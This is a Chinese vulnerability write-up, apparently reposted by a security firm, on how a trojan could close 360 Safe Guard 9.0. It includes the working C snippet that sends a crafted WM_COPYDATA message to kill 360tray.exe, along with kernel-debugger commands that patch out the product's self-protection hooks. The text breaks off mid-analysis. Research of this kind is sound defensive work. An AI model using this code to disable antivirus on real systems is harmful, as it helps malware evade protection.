联系我们
  • 联系人: 侯女士?

    电 话: 025-58630787?

    邮 箱: [email protected]?

    手 机: 18052008777

    公司地址:南京市雨花台区雨花大道2号邦宁科技园1-4层


360安全卫士被关闭漏洞分析
2014-4-16
来源:www.freebuf.com
点击数: 7285          作者:江苏天网
  • 注:本文测试环境为360安全卫士9.0,最新版的安全卫士已修复此漏洞

    现象

    某个木马运行后可以关闭360安全卫士,经过逆向分析发现该木马只是简单运行了以下代码:

    HMODULE h360 =GetModuleHandle(TEXT("safemon.dll"));
    int i = 0;
    for (i = 0; i<0x30000; i++)
    {
    if (memcmp((BYTE *)(h360+i), "\x83\xEC\x10\x56\x8D\x44\x24\x04\x50",9)==0)
    {
             break;
    }
    }
    if (i==0x30000)
    {
    return;
    }
    FARPROC funcGet360HWND = (FARPROC)(h360+i);
    HWND hWnd = (HWND)funcGet360HWND();
    COPYDATASTRUCT cpdata;
    cpdata.dwData = 0x4d47534d;
    cpdata.cbData = 0x1000;
    cpdata.lpData = msgbuf;  //长度0x1000字节的随即数据,其中不能有连续\x00\x00
    SendMessage(hWnd, WM_COPYDATA, NULL,(LPARAM)&cpdata);

    我们自己用上面代码运行之后,360安全卫士的进程(360tray.exe)就自动退出了。注意:这个程序必须是带窗口的程序,而不能使控制台程序,因为控制台程序是不加载safemon.dll的。

    攻击原理

    上面如此简单的代码就能导致关闭360,我们来看一下这段代码到底做了什么?首先获得safemon.dll的模块地址,每个有图形界面都会加载这个dll。然后从这个模块里找一处特征代码,经分析发现找的是以下代码:

    67366570   83EC 10         sub     esp, 10
    67366573   56              push    esi
    67366574   8D4424 04       lea     eax, dword ptr [esp+4]
    67366578   50              push    eax
    67366579   6A 00           push   0
    6736657B   8D4C24 10       lea     ecx, dword ptr [esp+10]
    6736657F   51              push    ecx
    67366580   68 40653667     push    67366540
    67366585   6A 00           push    0
    67366587   6A 00           push    0
    67366589   C74424 20 E48D4>mov     dwordptr [esp+20], 67418DE4                   ; ASCII "Q360SafeMonClass"
    67366591   C74424 24 00000>mov     dwordptr [esp+24], 0
    67366599   C74424 28 00000>mov     dwordptr [esp+28], 0
    673665A1   FF15 10D34067   call    dword ptr [<&KERNEL32.GetCurrentProcess>]       ; kernel32.GetCurrentProcess
    673665A7   50              push    eax
    673665A8   FF15 58D14067   call    dword ptr[<&KERNEL32.CreateRemoteThread>]     ; kernel32.CreateRemoteThread
    673665AE   8BF0            mov     esi,eax
    673665B0   85F6            test    esi, esi
    673665B2   74 10           je      short 673665C4
    673665B4   6A FF           push    -1
    673665B6   56              push    esi
    673665B7   FF15 24D14067   call    dword ptr [<&KERNEL32.WaitForSingleObject>]     ; kernel32.WaitForSingleObject
    673665BD   56              push    esi
    673665BE   FF15 20D34067   call    dword ptr[<&KERNEL32.CloseHandle>]            ; kernel32.CloseHandle
    673665C4   8B4424 10       mov     eax, dword ptr [esp+10]
    673665C8   5E              pop     esi
    673665C9   83C4 10         add     esp, 10
    673665CC   C3              retn

    其作用就是找到Q360SafeMonClass的窗口句柄。找到这段代码后就会执行这段代码来获取该窗口句柄。为什么不直接用FindWindow来查找呢?据分析应该是360做了一些防护,直接找怕找不到。

    找到这个窗口后会给他发送WM_COPYDATA消息,附带的消息COPYDATASTRUCT结构的dwData是0x4d47534d,数据长度是0×1000,内容是随机数据。

    我自己写了个程序模拟上述功能后,运行成功结束了360tray的进程,证明原理是没有错的。

    漏洞调试

    究竟是什么原因导致360tray如此简单就被关闭呢,我决定调试一下360看,启动OD准备附加360tray进程,发现无法附加,360做了保护。要想调试360首先要把保护去掉。

    用XueTr看360的内核Hook点,并尝试恢复:

    恢复之后尝试OD附加仍然失败,再刷新hook点已经被恢复了,这是当然的,360也要保护自身嘛。于是windbg开双机调试,在hook点下写断点,这样当360驱动恢复这里的时候,我们把他nop掉。

    然后只要

    kd> eb f747ed78 c3
    kd> u f747ed78
    Hookport+0xcd78:
    f747ed78 c3              ret
    f747ed79 ff558b          call    dword ptr [ebp-75h]
    f747ed7c ec              in      al,dx
    f747ed7d 51              push   ecx
    f747ed7e 51              push    ecx
    f747ed7f 8d45fc          lea     eax,[ebp-4]
    f747ed82 50              push    eax
    f747ed83 ff1594ff47f7    call   dword ptr [Hookport+0xdf94 (f747ff94)]
    kd> g

    这时候只要再恢复内核hook点,360就哑巴了,然后成功用OD附加360tray进程:

    漏洞原理

    经过调试发现,导致360出错退出的地方在360safemonpro.tpi这个模块里inline编译的vsnwprintf,从这里调用: